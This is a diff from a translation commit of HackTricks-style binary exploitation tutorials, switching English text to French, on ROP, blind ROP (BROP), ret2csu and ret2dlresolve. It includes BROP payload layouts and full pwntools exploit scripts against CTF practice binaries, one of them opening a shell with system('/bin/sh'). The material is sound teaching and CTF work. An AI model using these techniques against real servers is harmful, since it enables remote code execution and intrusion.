- **Manque de gadgets** : S'il n'y a pas assez de gadgets, il ne sera pas possible de générer une chaîne ROP.
## ROP based techniques
## Techniques basées sur ROP
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
Notez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib** : Utiliser ROP pour appeler des fonctions arbitraires d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall** : Utiliser ROP pour préparer un appel à un syscall, par exemple `execve`, et le faire exécuter des commandes arbitraires.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Chaining** : Le premier abus sera EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Autres exemples et références
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 bits, Pie et nx activés, pas de canary, écraser RIP avec une adresse `vsyscall` dans le seul but de revenir à l'adresse suivante dans la pile qui sera un écrasement partiel de l'adresse pour obtenir la partie de la fonction qui fuit le drapeau.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
L'objectif de cette attaque est de pouvoir **abuser d'un ROP via un débordement de tampon sans aucune information sur le binaire vulnérable**.\
Cette attaque est basée sur le scénario suivant :
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- Une vulnérabilité de pile et la connaissance de la façon de la déclencher.
- Une application serveur qui redémarre après un crash.
## Attack
## Attaque
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Trouver l'offset vulnérable** en envoyant un caractère de plus jusqu'à ce qu'un dysfonctionnement du serveur soit détecté
### **2. Brute-force canary** to leak it
### **2. Brute-force canary** pour le divulguer
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Brute-force des adresses RBP et RIP** stockées dans la pile pour les divulguer
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Vous pouvez trouver plus d'informations sur ces processus [ici (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) et [ici (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget**
### **4. Trouver le gadget d'arrêt**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Ce gadget permet essentiellement de confirmer que quelque chose d'intéressant a été exécuté par le gadget ROP car l'exécution n'a pas planté. En général, ce gadget va être quelque chose qui **arrête l'exécution** et il est positionné à la fin de la chaîne ROP lors de la recherche de gadgets ROP pour confirmer qu'un gadget ROP spécifique a été exécuté.
### **5. Find BROP gadget**
### **5. Trouver le gadget BROP**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Cette technique utilise le gadget [**ret2csu**](ret2csu.md). Et cela est dû au fait que si vous accédez à ce gadget au milieu de certaines instructions, vous obtenez des gadgets pour contrôler **`rsi`** et **`rdi`** :
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Ce seraient les gadgets :
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Remarquez comment avec ces gadgets, il est possible de **contrôler 2 arguments** d'une fonction à appeler.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
De plus, notez que le gadget ret2csu a une **signature très unique** car il va poper 6 registres de la pile. Donc, en envoyant une chaîne comme :
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
Si le **STOP est exécuté**, cela signifie essentiellement qu'une **adresse qui pop 6 registres** de la pile a été utilisée. Ou que l'adresse utilisée était également une adresse STOP.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Pour **éliminer cette dernière option**, une nouvelle chaîne comme suit est exécutée et elle ne doit pas exécuter le gadget STOP pour confirmer que le précédent a bien popé 6 registres :
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
Sachant l'adresse du gadget ret2csu, il est possible d'**inférer l'adresse des gadgets pour contrôler `rsi` et `rdi`**.
### 6. Find PLT
### 6. Trouver le PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
La table PLT peut être recherchée à partir de 0x400000 ou de l'**adresse RIP divulguée** de la pile (si **PIE** est utilisé). Les **entrées** de la table sont **séparées par 16B** (0x10B), et lorsqu'une fonction est appelée, le serveur ne plante pas même si les arguments ne sont pas corrects. De plus, vérifier l'adresse d'une entrée dans le **PLT + 6B ne plante également pas** car c'est le premier code exécuté.
Therefore, it's possible to find the PLT table checking the following behaviours:
Par conséquent, il est possible de trouver la table PLT en vérifiant les comportements suivants :
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> pas de crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> pas de crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> pas de crash
### 7. Finding strcmp
### 7. Trouver strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
La fonction **`strcmp`** définit le registre **`rdx`** à la longueur de la chaîne comparée. Notez que **`rdx`** est le **troisième argument** et nous avons besoin qu'il soit **plus grand que 0** afin de pouvoir utiliser `write` pour divulguer le programme par la suite.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
Il est possible de trouver l'emplacement de **`strcmp`** dans le PLT en fonction de son comportement en utilisant le fait que nous pouvons maintenant contrôler les 2 premiers arguments des fonctions :
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<adresse non lue>, \<adresse non lue>) -> crash
- strcmp(\<adresse non lue>, \<adresse lue>) -> crash
- strcmp(\<adresse lue>, \<adresse non lue>) -> crash
- strcmp(\<adresse lue>, \<adresse lue>) -> pas de crash
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
Il est possible de vérifier cela en appelant chaque entrée de la table PLT ou en utilisant le **chemin lent du PLT** qui consiste essentiellement à **appeler une entrée dans la table PLT + 0xb** (ce qui appelle **`dlresolve`**) suivi dans la pile par le **numéro d'entrée que l'on souhaite sonder** (commençant à zéro) pour scanner toutes les entrées PLT à partir de la première :
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<adresse non lue>, \<adresse lue>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Va planter
- strcmp(\<adresse lue>, \<adresse non lue>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<adresse lue>, \<adresse lue>) -> pas de crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Rappelez-vous que :
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 pointe vers **`pop RSI; pop R15; ret;`**
- BROP + 0x9 pointe vers **`pop RDI; ret;`**
- PLT + 0xb pointe vers un appel à **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
Ayant trouvé `strcmp`, il est possible de définir **`rdx`** à une valeur supérieure à 0.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Notez qu'en général, `rdx` contiendra déjà une valeur supérieure à 0, donc cette étape pourrait ne pas être nécessaire.
### 8. Finding Write or equivalent
### 8. Trouver Write ou équivalent
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Enfin, il faut un gadget qui exfiltre des données afin d'exfiltrer le binaire. Et à ce moment, il est possible de **contrôler 2 arguments et de définir `rdx` supérieur à 0.**
There are 3 common funtions taht could be abused for this:
Il existe 3 fonctions courantes qui pourraient être abusées pour cela :
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
Cependant, le document original ne mentionne que la fonction **`write`**, alors parlons-en :
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
Le problème actuel est que nous ne savons pas **où se trouve la fonction write dans le PLT** et nous ne savons pas **un numéro de fd pour envoyer les données à notre socket**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
Cependant, nous savons **où se trouve la table PLT** et il est possible de trouver write en fonction de son **comportement**. Et nous pouvons créer **plusieurs connexions** avec le serveur et utiliser un **FD élevé** en espérant qu'il corresponde à certaines de nos connexions.
Behaviour signatures to find those functions:
Signatures de comportement pour trouver ces fonctions :
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> S'il y a des données imprimées, alors puts a été trouvé
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> S'il y a des données imprimées, alors dprintf a été trouvé
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> S'il y a des données imprimées, alors write a été trouvé
## Automatic Exploitation
## Exploitation automatique
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## Références
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Document original : [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informations de base
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu** est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les **gadgets** que vous utilisez habituellement pour manipuler le comportement du programme.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de certaines fonctions intégrées pour gérer la façon dont différentes parties du programme communiquent entre elles. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init
### Les gadgets magiques dans \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
Dans **`__libc_csu_init`**, il y a deux séquences d'instructions (gadgets) à mettre en avant :
1. La première séquence nous permet de configurer des valeurs dans plusieurs registres (rbx, rbp, r12, r13, r14, r15). Ce sont comme des emplacements où nous pouvons stocker des nombres ou des adresses que nous voulons utiliser plus tard.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Ce gadget nous permet de contrôler ces registres en dépilant des valeurs de la pile dans ceux-ci.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. La deuxième séquence utilise les valeurs que nous avons configurées pour faire quelques actions :
- **Déplacer des valeurs spécifiques dans d'autres registres**, les rendant prêtes à être utilisées comme paramètres dans des fonctions.
- **Effectuer un appel à un emplacement** déterminé en additionnant les valeurs dans r15 et rbx, puis en multipliant rbx par 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Peut-être que vous ne connaissez aucune adresse à écrire là et vous **avez besoin d'une instruction `ret`**. Notez que le deuxième gadget se terminera également par un **`ret`**, mais vous devrez remplir certaines **conditions** pour y parvenir :
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
Les conditions seront :
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` doit pointer vers une adresse stockant une fonction appelable (si aucune idée et pas de pie, vous pouvez simplement utiliser la fonction `_init`) :
- Si \_init est à `0x400560`, utilisez GEF pour rechercher un pointeur en mémoire vers celle-ci et faites en sorte que `[r12 + rbx*8]` soit l'adresse avec le pointeur vers \_init :
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` et `rbx` doivent avoir la même valeur pour éviter le saut
- Il y a quelques pops omis que vous devez prendre en compte
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI et RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
Une autre façon de contrôler **`rdi`** et **`rsi`** à partir du gadget ret2csu est d'accéder à des offsets spécifiques :
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Vérifiez cette page pour plus d'infos :
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Exemple
### Using the call
### Utilisation de l'appel
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Imaginez que vous souhaitiez effectuer un syscall ou appeler une fonction comme `write()` mais que vous ayez besoin de valeurs spécifiques dans les registres `rdx` et `rsi` en tant que paramètres. Normalement, vous chercheriez des gadgets qui définissent ces registres directement, mais vous ne pouvez en trouver aucun.
Here's where **ret2csu** comes into play:
C'est là que **ret2csu** entre en jeu :
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Configurer les Registres** : Utilisez le premier gadget magique pour extraire des valeurs de la pile et les placer dans rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) et r15.
2. **Utiliser le Deuxième Gadget** : Avec ces registres configurés, vous utilisez le deuxième gadget. Cela vous permet de déplacer vos valeurs choisies dans `rdx` et `rsi` (à partir de r14 et r13, respectivement), préparant les paramètres pour un appel de fonction. De plus, en contrôlant `r15` et `rbx`, vous pouvez faire en sorte que le programme appelle une fonction située à l'adresse que vous calculez et placez dans `[r15 + rbx*8]`.
Vous avez un [**exemple utilisant cette technique et l'expliquant ici**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), et voici l'exploit final qu'il a utilisé :
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée **`win`** (prenant l'adresse de `win` depuis stdin en appelant gets dans la chaîne ROP et en la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Contourner l'appel et atteindre ret
L'exploit suivant a été extrait [**de cette page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) où le **ret2csu** est utilisé mais au lieu d'utiliser l'appel, il **contourne les comparaisons et atteint le `ret`** après l'appel :
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Pourquoi ne pas simplement utiliser libc directement ?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
Comme expliqué dans la page sur [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) et [**Relro**](../common-binary-protections-and-bypasses/relro.md), les binaires sans Full Relro résolvent les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se produit en appelant la fonction **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
La fonction **`_dl_runtime_resolve`** prend de la pile des références à certaines structures dont elle a besoin pour **résoudre** le symbole spécifié.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les structures falsifiées et **appelant cette adresse** avec l'adresse de `$'/bin/sh'`.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) et qu'il n'y a pas de moyens de leak les adresses libc.
Chek this video for a nice explanation about this technique in the second half of the video:
Regardez cette vidéo pour une bonne explication de cette technique dans la seconde moitié de la vidéo :
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Ou consultez ces pages pour une explication étape par étape :
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
## Résumé de l'attaque
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Écrire des structures falsifiées à un endroit
2. Définir le premier argument de system (`$rdi = &'/bin/sh'`)
3. Placer sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`**
4. **Appeler** `_dl_runtime_resolve`
5. **`system`** sera résolu et appelé avec `'/bin/sh'` comme argument
D'après la [**documentation de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), voici à quoi ressemble une attaque **`ret2dlresolve`** :
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Example
## Exemple
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
Vous pouvez trouver un [**exemple de cette technique ici**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contenant une très bonne explication de la chaîne ROP finale**, mais voici l'exploit final utilisé :
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Brut
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Autres exemples et références
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
